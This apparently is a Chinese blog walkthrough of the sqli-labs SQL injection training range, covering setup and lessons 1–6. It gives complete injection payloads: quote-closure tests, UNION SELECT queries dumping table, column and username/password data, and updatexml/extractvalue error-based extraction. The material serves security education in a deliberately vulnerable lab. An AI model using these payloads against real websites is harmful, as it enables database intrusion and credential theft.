WEB常见漏洞之SQL注入(靶场篇—1)1

简介: WEB常见漏洞之SQL注入(靶场篇—1)

0x01 简介

sqli靶场版

SqliLabs 是一个学习 SQL 注入的靶场,它提供了 GET 和 POST 的实验场景,涵盖了联合查询注入、基于报错的注入、基于时间的盲注、基于布尔的盲注、堆叠注入、二次注入以及各种注入绕过。

0x02 环境配置


靶场地址:https://github.com/Audi-1/sqli-labs

在 Windows 下使用 phpstudy 搭建靶场环境,将靶场放置到其 web 环境当中

成功访问说明靶场已经部署完成,接下来需要配置数据库连接

在/sql-connections目录下存在db-creds.inc数据库连接配置文件,设置数据库账号密码以及对应地址






$dbuser ='root';$dbpass ='root';$dbname ="security";$host = 'localhost';$dbname1 = "challenges";

完成后访问靶场,点击setup databases for labs搭建数据库环境

完成后便可快乐的注入了

闯关之前先了解常见的闭合方式、查询语法以及注入的分类




























常见的几个闭合方式:or 1=1 -- +'or 1=1 -- +            "or 1=1 -- +)or 1=1 -- +")or 1=1 -- +"))or 1=1 -- +用闭合的是数字型注入方式,不用闭合的是字符型注入方式union联合注入:sql union语法:select column name(s) from table_name1unionselect column name(s) from table_name2常用的sql注入查询函数:database()                数据库的名version()                 mysql的版本信息user()                    数据库的用户名@@datadir                 数据库路径@@version_compile_os      操作系统的版本select schema_name from information_schema.schemata    查库select table_name from information_schema.tables where table_schema='security'   查表select column_name from information_schema.columns where table_name='users'      查列select username,password from security.users           查字段select table_schema,table_name from information_chema.tables where table_schema='数据库名';table_schema是查询数据库名称(该字段存储数据库名)table_name是查询表名(该字段存储对应数据库中的包括的表名)from information_chema是从这个数据库里来查询tables这个表

注入的分类:















































数字型和字符型。攻击者目的只有一点,那就是绕过程序的限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。1、数字型注入当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。测试步骤:(1) 加单引号,URL:www.text.com/text.php?id=3’对应的sql:select* from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;(2) 加and 1=1,URL:www.text.com/text.php?id=3 and 1=1对应的sql:select* from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2对应的sql:select* from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异如果满足以上三点,则可以判断该URL存在数字型注入。2、字符型注入当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。例如数字型语句:select * from table where id=3则字符型如下:select * from table wherename=’admin’因此,在构造payload时通过闭合单引号可以成功执行语句:测试步骤:(1) 加单引号:select* from table where name=’admin’’由于加单引号后变成三个单引号,则无法执行,程序会报错;(2) 加 ’and1=1 此时sql 语句为:select * fromtable where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;Mysql 有三种常用注释符:-- 注意,这种注释符后边有一个空格# 通过#进行注释/* */ 注释掉符号内的内容因此,构造语句为:select * from table wherename =’admin’ and 1=1—’ 可成功执行返回结果正确;(3) 加and1=2— 此时sql语句为:select * fromtable where name=’admin’ and 1=2 –’则会报错如果满足以上三点,可以判断该url为字符型注入。Sql注入分类可以按照参数类型分为数字型和字符型。还有一些常见的注入分类,例如:(1)POST:注入字段位于POST数据中;(2)Cookie:注入字段位于Cookie数据中;(3)延时注入:根据数据库延时特性的注入(4)搜索注入:注入字段在搜索的位置;(5)base64注入:注入字符经过base64编码后注入;(7)错误注入:基于数据库错误信息的响应注入;

0x03 小试牛刀 1-20

1-20关通过请求参数值、HTTP请求头、请求方法、利用场景的不断变化,我们需要选择适当的注入方法进行SQL注入。

Lesson-1

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id='$id' limit 0,1## 返回内容if true:    输出查询内容else:    print_r(mysql_error());

通过联合查询判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

使用 order by 判断字段数


id=1' order by 3--+ //返回正常界面


id=1' order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1' union select 1,2,3--+

查询基础信息



id=-1' union select 1,version(),user()--+id=-1' union select 1,@@version_compile_os(),database()--+

查询表名


id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Lesson-2

该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:







$sql = select * from users where id=$id limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1 AND 1=1 //返回正常界面


id=1 AND 1=2 //返回错误界面

判断字段数


id=1 order by 3--+ //返回正常界面


id=1 order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1 union select 1,2,3--+

查询基础信息



id=-1 union select 1,version(),user()--+id=-1 union select 1,2,database()--+

查询表名


id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Lesson-3

该题为单引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id=('$id') limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1') AND ('1')=('1 //返回正常界面


id=1') AND ('1')=('2 //返回错误界面

判断字段数


id=1') order by 3--+ //返回正常界面


id=1') order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1') union select 1,2,3--+

查询基础信息



id=-1') union select 1,version(),user()--+id=-1') union select 1,2,database()--+

查询表名


id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1') union select 1,group_concat(username),group_concat(password) from users--+

Lesson-4

该题为双引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1"

目标SQL语句如下:







$sql = select * from users where id=("$id") limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1") AND ("1")=("1 //返回正常界面


id=1") AND ("1")=("2 //返回错误界面

判断字段数


id=1") order by 3--+ //返回正常界面


id=1") order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1") union select 1,2,3--+

查询基础信息



id=-1") union select 1,version(),user()--+id=-1") union select 1,2,database()--+

查询表名


id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1") union select 1,group_concat(username),group_concat(password) from users--+

Lesson-5

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id='$id' limit 0,1# 返回内容if true:    输出 You are in...... else:    print_r(mysql_error());

注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等

通过报错注入判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

查询基础信息









id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+id=1' and (select count(*) from users group by concat((select user()),floor(rand(0)*2)))--+id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1' and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+

查询表名


id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+

查询列名


id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+

Lesson-6

该题为双引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注


id=1"

目标SQL语句如下:








$id = '"'.$id.'"'$sql = select * from users where id=$id limit 0,1# 返回内容if true:    输出 You are in...... else:    print_r(mysql_error());

注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等

通过报错注入判断注入点,尝试验证


id=1" AND "1"="1 //返回正常界面


id=1" AND "1"="2 //返回错误界面

查询基础信息





id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ id=1" and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1" and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+

查询表名


id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+

查询列名


id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量


id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
11月前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
1435 79
web渗透-文件包含漏洞
|
11月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
3136 1
Web渗透-文件上传漏洞-上篇
|
11月前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
816 1
|
11月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
3038 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
11月前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
722 0
web渗透-CSRF漏洞
|
10月前
|
算法 Java Go
【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
672 4
|
缓存 JavaScript 前端开发
鸿蒙5开发宝藏案例分享---Web开发优化案例分享
本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
|
JavaScript 前端开发 API
鸿蒙5开发宝藏案例分享---Web加载时延优化解析
本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。
|
前端开发 JavaScript Shell
鸿蒙5开发宝藏案例分享---Web页面内点击响应时延分析
本文为鸿蒙开发者整理了Web性能优化的实战案例解析,结合官方文档深度扩展。内容涵盖点击响应时延核心指标(≤100ms)、性能分析工具链(如DevTools时间线、ArkUI Trace抓取)以及高频优化场景,包括递归函数优化、网络请求阻塞解决方案和setTimeout滥用问题等。同时提供进阶技巧,如首帧加速、透明动画陷阱规避及Web组件初始化加速,并通过优化前后Trace对比展示成果。最后总结了快速定位问题的方法与开发建议,助力开发者提升Web应用性能。
|
JSON 开发框架 自然语言处理
【HarmonyOS Next之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(三)
本文主要介绍了应用开发中的三大核心内容:生命周期管理、资源限定与访问以及多语言支持。在生命周期部分,详细说明了应用和页面的生命周期函数及其触发时机,帮助开发者更好地掌控应用状态变化。资源限定与访问章节,则聚焦于资源限定词的定义、命名规则及匹配逻辑,并阐述了如何通过 `$r` 引用 JS 模块内的资源。最后,多语言支持部分讲解了如何通过 JSON 文件定义多语言资源,使用 `$t` 和 `$tc` 方法实现简单格式化与单复数格式化,为全球化应用提供便利。
405 104